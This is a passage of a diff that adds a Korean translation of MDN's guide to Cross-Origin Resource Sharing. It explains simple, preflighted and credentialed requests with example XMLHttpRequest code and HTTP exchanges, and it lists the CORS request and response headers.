+<p>이후 항목에서는 시나리오와 함께, 사용한 HTTP 헤더의 상세 내용을 다룹니다.</p>
+
+<h2 id="접근_제어_시나리오_예제">접근 제어 시나리오 예제</h2>
+
+<p>교차 출처 리소스 공유가 동작하는 방식을 보여주는 세 가지 시나리오를 제시하겠습니다. 모든 예제는 지원하는 브라우저에서 교차 출처 요청을 생성할 수 있는 {{domxref("XMLHttpRequest")}}를 사용합니다.</p>
+
+<p>서버 관점의 교차 출처 리소스 공유에 대한 논의는 (PHP 코드와 함께 하는) <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">서버 사이드 접근 제어 (CORS)</a> 문서에서 확인할 수 있습니다.</p>
+
+<h3 id="단순_요청Simple_requests">단순 요청(Simple requests)</h3>
+
+<p>일부요청은 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">CORS preflight</a> 를 트리거하지 않습니다. {{SpecName ( 'Fetch')}} 명세(CORS를 정의한)는 이 용어를 사용하지 않지만, 이 기사에서는 "simple requests"라고 하겠습니다. "simple requests"는 <strong>다음 조건을 모두 충족하는 요청입니다:</strong></p>
+
+<ul>
+ <li>다음 중 하나의 메서드
+ <ul>
+ <li>{{HTTPMethod("GET")}}</li>
+ <li>{{HTTPMethod("HEAD")}}</li>
+ <li>{{HTTPMethod("POST")}}</li>
+ </ul>
+ </li>
+ <li>유저 에이전트가 자동으로 설정 한 헤더 (예를들어, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">Fetch 명세에서 “forbidden header name”으로 정의한 헤더</a>)외에, 수동으로 설정할 수 있는 헤더는 오직 <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">Fetch 명세에서 “CORS-safelisted request-header”로 정의한 헤더</a> 뿐입니다.
+ <ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>{{HTTPHeader("Content-Language")}}</li>
+ <li>{{HTTPHeader("Content-Type")}} (아래의 추가 요구 사항에 유의하세요.)</li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+ <li>{{HTTPHeader("Downlink")}}</li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+ </ul>
+ </li>
+ <li>{{HTTPHeader("Content-Type")}} 헤더는 다음의 값들만 허용됩니다.
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code></li>
+ <li><code>multipart/form-data</code></li>
+ <li><code>text/plain</code></li>
+ </ul>
+ </li>
+ <li>요청에 사용된 {{domxref("XMLHttpRequestUpload")}} 객체에는 이벤트 리스너가 등록되어 있지 않습니다. 이들은 {{domxref("XMLHttpRequest.upload")}} 프로퍼티를 사용하여 접근합니다..</li>
+ <li>요청에 {{domxref("ReadableStream")}} 객체가 사용되지 않습니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 이는 웹 컨텐츠가 이미 발행할 수 있는 것과 동일한 종류의 cross-site 요청입니다. 서버가 적절한 헤더를 전송하지 않으면 요청자에게 응답 데이터가 공개되지 않습니다. 따라서 cross-site 요청 위조를 방지하는 사이트는 HTTP 접근 제어를 두려워 할 만한 부분이 없습니다.</div>
+
+<div class="note">
+<p><strong>주의:</strong> WebKit Nightly 와 Safari Technology Preview 는 {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}} 헤더에서 허용되는 값에 대한 추가 제약이 있습니다. 이러한 헤더 중 하나에 ”nonstandard” 값이 존재하면, WebKit/Safari 는 더이상 요청을 “simple request”로 간주하지 않습니다. 다음 Webkit 버그 외에 WebKit/Safari 가  “nonstandard” 으로 간주하는 값은 문서화되어 있지 않습니다.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></li>
+</ul>
+
+<p>이 부분은 명세가 아니기 때문에 다른 브라우저에는 이러한 추가 제한 사항이 없습니다.</p>
+</div>
+
+<p>예를들어, <code>https://foo.example</code> 의 웹 컨텐츠가  <code>https://bar.other</code> 도메인의 컨텐츠를 호출하길 원합니다. <code>foo.example</code>에 배포된 자바스크립트에는 아래와 같은 코드가 사용될 수 있습니다.</p>
+
+<pre id="line1"><code>const xhr = new XMLHttpRequest();
+const url = 'https://bar.other/resources/public-data/';
+
+xhr.open('GET', url);
+xhr.onreadystatechange = someHandler;
+xhr.send();</code></pre>
+
+<p>클라이언트와 서버간에 간단한 통신을 하고, CORS 헤더를 사용하여 권한을 처리합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17214/simple-req-updated.png" style="height: 490px; width: 1023px;"></p>
+
+<p>이 경우 브라우저가 서버로 전송하는 내용을 살펴보고, 서버의 응답을 확인합니다.</p>
+
+<pre><code>GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+<strong>Origin: https://foo.example</strong></code></pre>
+
+<p>요청 헤더의 {{HTTPHeader("Origin")}}을 보면, <code>https://foo.example</code>로부터 요청이 왔다는 것을 알 수 있습니다.</p>
+
+<pre><code>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2
+<strong>Access-Control-Allow-Origin: *</strong>
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[…XML Data…]</code></pre>
+
+<p>서버는 이에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더를 다시 전송합니다. 가장 간단한 접근 제어 프로토콜은 {{HTTPHeader("Origin")}} 헤더와 {{HTTPHeader("Access-Control-Allow-Origin")}} 을 사용하는 것입니다. 이 경우 서버는 <code>Access-Control-Allow-Origin: *</code>, 으로 응답해야 하며, 이는 <strong>모든</strong> 도메인에서 접근할 수 있음을 의미합니다. <code>https://bar.other</code> 의 리소스 소유자가 <em>오직</em> <code>https://foo.example</code> 의 요청만 리소스에 대한 접근을 허용하려는 경우 다음을 전송합니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: https://foo.example</code></pre>
+
+<p>이제 <code>https://foo.example</code> 이외의 도메인은 corss-site 방식으로 리소스에 접근할 수 없습니다. 리소스에 대한 접근을 허용하려면, <code>Access-Control-Allow-Origin</code> 헤더에는 요청의 <code>Origin</code> 헤더에서 전송된 값이 포함되어야 합니다.</p>
+
+<h3 id="프리플라이트_요청">프리플라이트 요청</h3>
+
+<p>"preflighted" request는 위에서 논의한 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">“simple requests”</a> 와는 달리, 먼저 {{HTTPMethod("OPTIONS")}} 메서드를 통해 다른 도메인의 리소스로 HTTP 요청을 보내 실제 요청이 전송하기에 안전한지 확인합니다. Cross-site 요청은 유저 데이터에 영향을 줄 수 있기 때문에 이와같이 미리 전송(preflighted)합니다.</p>
+
+<p>다음은 preflighted 할 요청의 예제입니다.</p>
+
+<pre id="line1"><code>const xhr = new XMLHttpRequest();
+xhr.open('POST', 'https://bar.other/resources/post-here/');
+xhr.setRequestHeader('Ping-Other', 'pingpong');
+xhr.setRequestHeader('Content-Type', 'application/xml');
+xhr.onreadystatechange = handler;
+xhr.send('&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;');</code></pre>
+
+<p>위의 예제는 <code>POST</code> 요청과 함께 함께 보낼 XML body를 만듭니다. 또한 비표준 HTTP <code>Ping-Other</code> 요청 헤더가 설정됩니다. 이러한 헤더는 HTTP/1.1의 일부가 아니지만 일반적으로 웹 응용 프로그램에 유용합니다. Content-Type 이 <code>application/xml</code>이고, 사용자 정의 헤더가 설정되었기 때문에 이 요청은 preflighted 처리됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png"></p>
+
+<p>(참고: 아래 설명 된 것처럼 실제 <code>POST</code> 요청에는 <code>Access-Control-Request-*</code> 헤더가 포함되지 않습니다. <code>OPTIONS</code> 요청에만 필요합니다.)</p>
+
+<p>클라이언트와 서버간의 완전한 통신을 살펴보겠습니다. 첫 번째 통신은 <em>preflight request/response</em>입니다.</p>
+
+<pre><code>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 204 No Content
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive</code></pre>
+
+<p>preflight request가 완료되면 실제 요청을 전송합니다.</p>
+
+<pre><code>POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: https://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: https://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]</code></pre>
+
+<p>첫 번째 예제의 1 - 10 행은 {{HTTPMethod("OPTIONS")}} 메서드를 사용한 preflight request를 나타냅니다. 브라우저는 위의 자바스크립트 코드 스니펫이 사용중인 요청 파라미터를 기반으로 전송해야 합니다. 그렇게 해야 서버가 실제 요청 파라미터로 요청을 보낼 수 있는지 여부에 응답할 수 있습니다. OPTIONS는 서버에서 추가 정보를 판별하는데 사용하는 HTTP/1.1 메서드입니다. 또한 {{Glossary("safe")}} 메서드이기 때문에, 리소스를 변경하는데 사용할 수 없습니다. OPTIONS 요청과 함께 두 개의 다른 요청 헤더가 전송됩니다. (10, 11행)</p>
+
+<pre><code>Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 preflight request의 일부로, 실제 요청을 전송할 때 <code>POST</code> 메서드로 전송된다는 것을 알려줍니다. {{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청을 전송 할 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> 사용자 정의 헤더와 함께 전송된다는 것을 서버에 알려줍니다. 이제 서버는 이러한 상황에서 요청을 수락할지 결정할 수 있습니다.</p>
+
+<p>위의 13 - 22 행은 서버가 요청 메서드와 (<code>POST</code>) 요청 헤더를 (<code>X-PINGOTHER</code>) 받을 수 있음을 나타내는 응답입니다. 특히 16 - 19행을 살펴보겠습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</code></pre>
+
+<p>서버는 <code>Access-Control-Allow-Methods</code> 로 응답하고 <code>POST</code> 와 <code>GET</code> 이 리소스를 쿼리하는데 유용한 메서드라고 가르쳐줍니다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 유사하지만, 접근 제어 컨텍스트 내에서 엄격하게 사용됩니다.</p>
+
+<p>또한 <code>Access-Control-Allow-Headers</code> 의 값을 "<code>X-PINGOTHER, Content-Type</code>" 으로 전송하여 실제 요청에 헤더를 사용할 수 있음을 확인합니다. <code>Access-Control-Allow-Methods</code>와 마찬가지로 <code>Access-Control-Allow-Headers</code> 는 쉼표로 구분된 허용 가능한 헤더 목록입니다.</p>
+
+<p>마지막으로{{HTTPHeader("Access-Control-Max-Age")}}는 다른 preflight request를 보내지 않고, preflight request에 대한 응답을 캐시할 수 있는 시간(초)을 제공합니다. 위의 코드는 86400 초(24시간) 입니다. 각 브라우저의 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">최대 캐싱 시간 </a>은 <code>Access-Control-Max-Age</code> 가 클수록 우선순위가 높습니다.</p>
+
+<h4 id="Preflighted_requests_와_리다이렉트">Preflighted requests 와 리다이렉트</h4>
+
+<p>모든 브라우저가 preflighted request 후 리다이렉트를 지원하지는 않습니다. preflighted request 후 리다이렉트가 발생하면 일부 브라우저는 다음과 같은 오류 메시지를 띄웁니다.</p>
+
+<blockquote>
+<p>요청이 'https://example.com/foo'로 리다이렉트 되었으며, preflight가 필요한 cross-origin 요청은 허용되지 않습니다.</p>
+</blockquote>
+
+<blockquote>
+<p>요청에 preflight가 필요합니다. preflight는 cross-origin 리다이렉트를 허용하지 않습니다.</p>
+</blockquote>
+
+<p>CORS 프로토콜은 본래 그 동작(리다이렉트)이 필요했지만, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">이후 더 이상 필요하지 않도록 변경되었습니다</a>. 그러나 모든 브라우저가 변경 사항을 구현하지는 않았기 때문에, 본래의 필요한 동작은 여전히 나타납니다.</p>
+
+<p>브라우저가 명세를 따라잡을 때 까지 다음 중 하나 혹은 둘 다를 수행하여 이 제한을 해결할 수 있습니다.</p>
+
+<ul>
+ <li>preflight 리다이렉트를 방지하기 위해 서버측 동작을 변경</li>
+ <li>preflight를 발생시키지 않는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 가 되도록 요청을 변경</li>
+</ul>
+
+<p>이것이 가능하지 않은 경우 다른 방법도 있습니다.</p>
+
+<ol>
+ <li>Fetch API를 통해 {{domxref("Response.url")}} 이나 {{domxref("XMLHttpRequest.responseURL")}}를 사용하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 를 작성합니다. 이 simple request를 이용하여 실제 preflighted request가 끝나는 URL을 판별하세요.</li>
+ <li>첫 번째 단계에서 <code>Response.url</code> 혹은 <code>XMLHttpRequest.responseURL</code> 로부터 얻은 URL을 사용하여 또 다른 요청(실제 요청)을 만듭니다.</li>
+</ol>
+
+<p>그러나 요청에 <code>Authorization</code> 헤더가 있기 때문에 preflight를 트리거하는 요청일 경우에, 위의 단계를 사용하여 제한을 제거할 수 없습니다. 또한 요청이 있는 서버를 제어하지 않으면 문제를 해결할 수 없습니다.</p>
+
+<h3 id="인증정보를_포함한_요청">인증정보를 포함한 요청</h3>
+
+<p>{{domxref("XMLHttpRequest")}} 혹은 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 를 사용할 때 CORS 에 의해 드러나는 가장 흥미로운 기능은 "credentialed" requests 입니다. credentialed requests는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 와 HTTP Authentication 정보를 인식합니다. 기본적으로 cross-site <code>XMLHttpRequest</code> 나 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 호출에서 브라우저는 자격 증명을 보내지 <strong>않습니다.</strong> <code>XMLHttpRequest</code> 객체나 {{domxref("Request")}} 생성자가 호출될 때 특정 플래그를 설정해야 합니다.</p>
+
+<p>이 예제에서 원래 <code>http://foo.example</code> 에서 불러온 컨텐츠는 쿠키를 설정하는 <code>http://bar.other</code> 리소스에 simple GET request를 작성합니다. foo.example의 내용은 다음과 같은 자바스크립트를 포함할 수 있습니다.</p>
+
+<pre id="line1"><code>const invocation = new XMLHttpRequest();
+const url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain() {
+ if (invocation) {
+ invocation.open('GET', url, true);
+ invocation.withCredentials = true;
+ invocation.onreadystatechange = handler;
+ invocation.send();
+ }
+}</code></pre>
+
+<p>7행은 쿠키와 함께 호출하기위한 {{domxref("XMLHttpRequest")}} 의 플래그를 보여줍니다. 이 플래그는 <code>withCredentials</code> 라고 불리며 부울 값을 갖습니다. 기본적으로 호출은 쿠키 없이 이루어집니다. 이것은 simple <code>GET</code> request이기 때문에 preflighted 되지 않습니다. 그러나 브라우저는 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 헤더가 없는 응답을 <strong>거부합니다</strong>.<strong> </strong>따라서 호출된 웹 컨텐츠에 응답을 제공하지 <strong>않습니다</strong>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17213/cred-req-updated.png" style="height: 490px; width: 1023px;"></p>
+
+<p>클라이언트와 서버간의 통신 예제는 다음과 같습니다.</p>
+
+<pre><code>GET /resources/credentialed-content/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]</code></pre>
+
+<p>10행에는 <code>http://bar.other</code>의 컨텐츠를 대상으로 하는 쿠키가 포함되어 있습니다. 하지만 17행의 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 로 응답하지 않으면, 응답은 무시되고 웹 컨텐츠는 제공되지 않습니다.</p>
+
+<h4 id="자격증명_요청_및_와일드카드Credentialed_requests_and_wildcards">자격증명 요청 및 와일드카드(Credentialed requests and wildcards)</h4>
+
+<p>credentialed request 에 응답할 때 서버는 <code>Access-Control-Allow-Origin</code> 헤더 "<code>*</code>" 와일드카드를 사용하는 대신에 <strong>반드시</strong> 에 값을 지정해야 합니다.</p>
+
+<p>위 예제의 요청 헤더에 <code>Cookie</code> 헤더가 포함되어 있기 때문에 <code>Access-Control-Allow-Origin</code> 헤더의 값이 "*"인 경우 요청이 실패합니다. 위 요청은 <code>Access-Control-Allow-Origin</code> 헤더가 "<code>*</code>" 와일드 카드가 아니라 "<code>http://foo.example</code>" 본래 주소이기 때문에 자격증명 인식 컨텐츠는 웹 호출 컨텐츠로 리턴됩니다.</p>
+
+<p>위 예제의 <code>Set-Cookie</code> 응답 헤더는 추가 쿠키를 설정합니다. 실패한 경우 사용한 API에 따라 예외가 발생합니다.</p>
+
+<h4 id="Third-party_cookies">Third-party cookies</h4>
+
+<p>CORS 응답에 설정된 쿠키에는 일반적인 third-party cookie 정책이 적용됩니다. 위의 예제는 <code>foo.example</code>에서 페이지를 불러지만 20행의 쿠키는 <code>bar.other</code> 가 전송합니다. 때문에 사용자의 브라우저 설정이 모든 third-party cookies를 거부하도록 되어 있다면, 이 쿠키는 저장되지 않습니다.</p>
+
+<h2 id="HTTP_응답_헤더">HTTP 응답 헤더</h2>
+
+<p>이 섹션에서는 Cross-Origin 리소스 공유 명세에 정의된 대로 서버가 접근 제어 요청을 위해 보내는 HTTP 응답 헤더가 나열되어 있습니다. The previous section gives an overview of these in action.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>리턴된 리소스에는 다음 구문과 함께 하나의 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더가 있을 수 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: &lt;origin&gt; | *</code></pre>
+
+<p><code>Access-Control-Allow-Origin</code> 은 단일 출처를 지정하여 브라우저가 해당 출처가 리소스에 접근하도록 허용합니다. 또는 자격 증명이 <strong>없는</strong> 요청의 경우 "<code>*</code>" 와일드 카드는 브라우저의 origin에 상관없이 모든 리소스에 접근하도록 허용합니다.</p>
+
+<p>예를들어 <code>https://mozilla.org</code> 의 코드가 리소스에 접근 할 수 있도록 하려면 다음과 같이 지정할 수 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: https://mozilla.org</code></pre>
+
+<p>서버가 "<code>*</code>" 와일드카드 대신에 하나의 origin을 지정하는 경우, 서버는 {{HTTPHeader("Vary")}} 응답 헤더에 <code>Origin</code> 을 포함해야 합니다. 이 origin은 화이트 리스트의 일부로 요청 orgin에 따라 동적으로 변경될 수 있습니다. 서버 응답이 {{HTTPHeader("Origin")}} 요청 헤더에 따라 다르다는것을 클라이언트에 알려줍니다.</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 헤더를 사용하면 브라우저가 접근할 수 있는 헤더를 서버의 화이트리스트에 추가할 수 있습니다.</p>
+
+<pre><code>Access-Control-Expose-Headers: &lt;header-name&gt;[, &lt;header-name&gt;]*</code></pre>
+
+<p>예를들면 다음과 같습니다.</p>
+
+<pre><code>Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header</code></pre>
+
+<p><code>X-My-Custom-Header</code> 와 <code>X-Another-Custom-Header</code> 헤더가 브라우저에 드러납니다.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>{{HTTPHeader("Access-Control-Max-Age")}} 헤더는 preflight request 요청 결과를 캐시할 수 있는 시간을 나타냅니다. preflight request 예제는 위를 참조하세요.</p>
+
+<pre><code>Access-Control-Max-Age: &lt;delta-seconds&gt;</code></pre>
+
+<p><code>delta-seconds</code> 파라미터는 결과를 캐시할 수 있는 시간(초)를 나타냅니다.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 헤더는 <code>credentials</code> 플래그가 true일 때 요청에 대한 응답을 표시할 수 있는지를 나타냅니다. preflight request에 대한 응답의 일부로 사용하는 경우, credentials을 사용하여 실제 요청을 수행할 수 있는지를 나타냅니다. simple <code>GET</code> requests는 preflighted되지 않으므로 credentials이 있는 리소스를 요청하면, 이 헤더가 리소스와 함께 반환되지 않습니다. 이 헤더가 없으면 브라우저에서 응답을 무시하고 웹 컨텐츠로 반환되지 않는다는 점을 주의하세요.</p>
+
+<pre><code>Access-Control-Allow-Credentials: true</code></pre>
+
+<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Requests_with_credentials">Credentialed requests</a> 은 위에 설명되어 있습니다.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 헤더는 리소스에 접근할 때 허용되는 메서드를 지정합니다. 이 헤더는 preflight request에 대한 응답으로 사용됩니다. 요청이 preflighted 되는 조건은 위에 설명되어 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*</code></pre>
+
+<p>이 헤더를 브라우저로 전송하는 예제를 포함하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request 의 예제는</a>, 위에 나와 있습니다.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request</a> 에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Headers")}} 헤더가 사용됩니다. 실제 요청시 사용할 수 있는 HTTP 헤더를 나타냅니다.</p>
+
+<pre><code>Access-Control-Allow-Headers: &lt;header-name&gt;[, &lt;header-name&gt;]*</code></pre>
+
+<h2 id="HTTP_요청_헤더">HTTP 요청 헤더</h2>
+
+<p>이 섹션에는 cross-origin 공유 기능을 사용하기 위해 클라이언트가 HTTP 요청을 발행할 때 사용할 수 있는 헤더가 나열되어 있습니다. 이 헤더는 서버를 호출할 때 설정됩니다. cross-site {{domxref("XMLHttpRequest")}} 기능을 사용하는 개발자는 프로그래밍 방식으로 cross-origin 공유 요청 헤더를 설정할 필요가 없습니다.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>{{HTTPHeader("Origin")}} 헤더는 cross-site 접근 요청 또는 preflight request의 출처를 나타냅니다.</p>
+
+<pre><code>Origin: &lt;origin&gt;</code></pre>
+
+<p>origin 은 요청이 시작된 서버를 나타내는 URI 입니다. 경로 정보는 포함하지 않고, 오직 서버 이름만 포함합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>origin</code> 값은 <code>null</code> 또는 URI 가 올 수 있습니다.</div>
+
+<p>접근 제어 요청에는 <strong>항상</strong> {{HTTPHeader("Origin")}} 헤더가 전송됩니다.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 실제 요청에서 어떤 HTTP 메서드를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p>
+
+<pre><code>Access-Control-Request-Method: &lt;method&gt;</code></pre>
+
+<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청에서 어떤 HTTP 헤더를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p>
+
+<pre><code>Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*</code></pre>
+
+<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://httptoolkit.tech/will-it-cors">Will it CORS?</a> - an interactive CORS explainer &amp; generator</li>
+ <li><a href="https://www.telerik.com/blogs/using-cors-with-all-modern-browsers">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="https://alfilatov.com/posts/run-chrome-without-cors/">How to run Chrome browser without CORS</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
+ <ul>
+ <li>How to avoid the CORS preflight</li>
+ <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
+ <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
+ </ul>
+ </li>
+</ul>
